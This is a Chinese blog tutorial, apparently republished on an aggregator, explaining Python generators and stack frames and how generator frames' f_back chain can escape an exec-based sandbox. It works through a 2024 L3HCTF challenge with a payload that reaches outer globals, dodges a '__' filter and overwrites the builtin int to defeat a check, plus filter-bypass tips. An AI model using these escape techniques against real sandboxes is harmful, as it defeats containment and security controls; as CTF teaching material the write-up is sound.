python栈帧沙箱逃逸

news/2024/10/14 15:34:41

python栈帧沙箱逃逸

一、生成器

生成器(Generator)是 Python 中一种特殊的迭代器,它可以通过简单的函数和表达式来创建。生成器的主要特点是能够逐个产生值,并且在每次生成值后保留当前的状态,以便下次调用时可以继续生成值。这使得生成器非常适合处理大型数据集或需要延迟计算的情况。

在 Python 中,生成器可以通过两种方式创建:

1、生成器函数:定义一个函数,使用 yield 关键字生成值,每次调用生成器函数时,生成器会暂停并返回一个值,下次调用时会从暂停的地方继续执行。(符合上面的每次生成值后保留当前的状态,以便下次调用时可以继续生成值)。

示例:

def my_generator():yield 1yield 2yield 3gen = my_generator()
print(next(gen)) # 第一次调用,输出 1
print(next(gen)) # 第二次调用,输出 2
print(next(gen)) # 第三次调用,输出 3

2、生成器表达式:使用类似列表推导式的语法,但使用圆括号而不是方括号,可以用来创建生成器对象。生成器表达式会逐个生成值,而不是一次性生成整个序列,这样可以节省内存空间,特别是在处理大型数据集时非常有用(依然符合每次生成值后保留当前的状态,以便下次调用时可以继续生成值)。

示例:

gen = (x * x for x in range(5))
print(list(gen))  # 输出 [0, 1, 4, 9, 16]

二、栈帧(frame)

在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。

栈帧包含了以下几个重要的属性:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

三、生成器的属性

gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

着重介绍一下 gi_frame 属性
gi_frame 是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息。

例子:

def my_generator():yield 1yield 2yield 3gen = my_generator()# 获取生成器的当前帧信息
frame = gen.gi_frame# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

同理利用gi_code属性也可以获得生成器的相关代码对象属性:

def my_generator():yield 1yield 2yield 3gen = my_generator()# 获取生成器的当前代码信息
code = gen.gi_code# 输出生成器的当前代码信息
print( code.co_name)
print(code.co_code)
print( code.co_consts)
print(code.co_filename)

四、利用栈帧沙箱逃逸

原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表
一个简单的例子:

s3cret="this is flag"def waff():def f():yield g.gi_frame.f_backg = f()  #生成器frame = next(g) #获取到生成器的栈帧对象b = frame.f_globals['s3cret'] #返回并获取前一级栈帧的globalsprint(b)
b=waff()

或者:

s3cret="this is flag"def waff():def f():yield g.gi_frame.f_backg = f()  #生成器frame = next(g) #获取到生成器的栈帧对象b = frame.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globalsprint(b)
b=waff()

为什么都行呢,可以把frame这个栈帧对象打印看看:

分别是:

<frame at 0x0000020F97255040, file 'D:\\yinwenmingtwo\\PythonCode\\测试\\1.py', line 9, code waff>
<frame at 0x00000176546465B0, file 'D:\\yinwenmingtwo\\PythonCode\\测试\\1.py', line 13, code <module>>

在看看上面的f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。

不难看出这里函数和模块本就同在一个全局,所以都有属性s3cret,怎么看到没到全局?直接看file就能看出。

在给个例子:

s3cret="this is flag"codes='''
def waff():def f():yield g.gi_frame.f_backg = f()  #生成器frame = next(g) #获取到生成器的栈帧对象print(frame)print(frame.f_back)print(frame.f_back.f_back)b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globalsreturn b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])

运行结果:

QQ截图20240611190601

这个其实得从下向上看,最先的帧是exec,然后是b=,最后是8line那里的代码。一步一步回到全局变量

五、简单绕过

next过滤可以用listsend,和生成器表达式进行绕过,

yield过滤也可以用生成器表达式进行绕过

六、例题

2024L3HCTF

import sys
import oscodes='''
<<codehere>>
'''try:codes.encode("ascii")
except UnicodeEncodeError:exit(0)if "__" in codes:print("__ bypass!!")exit(0)codes+="\nres=factorization(c)"
print(codes)
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()def blackFunc(oldexit):def func(event, args):blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]for i in blackList:if i in (event + "".join(str(s) for s in args)).lower():print("noooooooooo")print(i)oldexit(0)return funccode = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code,{"__builtins__": None},locals)
print(locals)p=int(locals["res"][0])
q=int(locals["res"][1])
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):print("Correct!",end="")
else:print("Wrong!",end="")

就是可以执行一些命令,满足下面的if条件就行。

做了一些过滤,过滤掉了双下划线,{"__builtins__": None} 置空了__builtins__

这里的if条件是:首先p和q都得大于100000,其次就是p和q的积为int("69...97863")

按照题目要求,如果通过算法在要求的5秒实现基本上是不可能的,但是我们可以通过沙箱外的globals的__builtins__字段去修改int函数,实现绕过if语句,这道题的解题思路就是通过栈帧对象逃逸出沙箱从而获取到沙箱外的globals。

由于这里的{"__builtins__": None} 置空了__builtins__,那么就无法使用next()和send()了。但还可以使用生成器的表达式,为什么必须用生成器,主要还是因为它的属性gi_frame可以获得当前栈帧对象,当然sys._getframe()等也可以获得栈帧对象,不过需要引入sys模块。

用生成器的表达式获得栈帧对象

a=(a.gi_frame.f_back.f_back for i in [1])
print(a)
a=[x for x in a][0]
print(a)

简单解释一下:看来上面的生成器表达式这里其实就是,先执行i=1,然后执行a.gi_frame.f_back.f_back,这里并没有用到生成器的特性,只是单纯利用生成器来获得栈帧属性。

a=[x for x in a][0]等价于next(a)list(a),就是迭代执行嘛。至于两个f_back是从下依次向上返回。

<frame at 0x000001C18B6BA130, file 'D:\\yinwenmingtwo\\PythonCode\\测试\\22.py', line 4, code <module>>
<frame at 0x0000027CB3830580, file 'D:\\yinwenmingtwo\\PythonCode\\测试\\22.py', line 3, code <listcomp>>
<frame at 0x000001BDF5F45040, file 'D:\\yinwenmingtwo\\PythonCode\\测试\\22.py', line 1, code <genexpr>>

理解到沙箱逃逸全局了后面就没什么了。

def fake_int(i):return 100001 * 100002
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
builtin =a.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
builtin.int=fake_int

这里就是重写了int方法来满足if条件。

参考:

https://xz.aliyun.com/t/13635?time__1311=mqmxnQ0QiQi%3DDteDsD7md0%3DL5pQzt8q4D&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-7

https://fupanc.github.io/2024/06/06/python栈帧逃逸/#绕过方法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hjln.cn/news/44231.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

spring-1-IOC、创建bean的方式、创建bean的过程

1.背景 IOC(Inversion of Control,控制反转) 控制反转是一种设计原则,它将对象的创建和管理责任从应用代码中移交给容器。 在Spring中,IOC容器负责管理应用中的所有对象,包括它们的生命周期和相互之间的依赖关系。 IOC的主要目的是为了减少代码之间的耦合,使代码更加模块…

11-CSS定位

CSS定位01 CSS定位概念理解 01 标准流布局概念的理解02 position属性02 相对定位 依然在标准流中 应用场景: 在不影响其它元素的情况下,对当前元素进行微调 <!DOCTYPE html> <html lang="en"><head><meta charset="UTF-8"><met…

Combining Recurrent, Convolutional, and Continuous-time Models with Linear State-Space Layers

目录概符号说明LSSL和其它方法的联系代码Gu A., Johnson I., Goel K., Saab K., Dao T., Rudra A., and Re C. Combining recurrent, convolutional, and continuous-time models with linear state-space layers. NeurIPS, 2021.State space representaion-wiki.概 Mamba 系列…

堆基础知识

arenachunk通俗地说,一块由分配器分配的内存块叫做一个 chunk,包含了元数据和用户数据。具体一点,chunk 完整定义如下: struct malloc_chunk {INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */INTERNAL_SIZE_T mchunk_size; …

【Azure Spring Apps】Spring App部署上云遇见 502 Bad Gateway nginx

问题描述 在部署Azure Spring App应用后,访问应用,遇见了502 Bad Gateway Nginx。问题解答 502 Bad Gateway, 并且由Nginx返回。而自己的应用中,并没有定义Nginx相关内容,所以需要查看问题是否出现在Azure Spring App服务的设置上。 根据Spring App的通信模型图判断,502的…

学生管理系统的CRUD

include using namespace std; typedef struct Studnet { //初始化结构体变量 int ID; double math_scores; double english_scores; double computer_scores; double total_scores;}Student; void Input_student_score(int size, Student* stu); //输入所有学生信息 void Out…

C语言中关于Base64编码的基础原理

Base64编码简述: 1.Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。 2.Base64,就是包括小写字母a-z、大写字母A-Z、数字0-9、符号"+"、"/"一共64个字符的字符集,(任何符号都可以转…

09-盒子模型

盒子模型01 认识盒子模型02 盒子模型的四边03 盒子边框04 盒子内边距-padding 通常用于设置边框和内容之间的间距 <!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible&quo…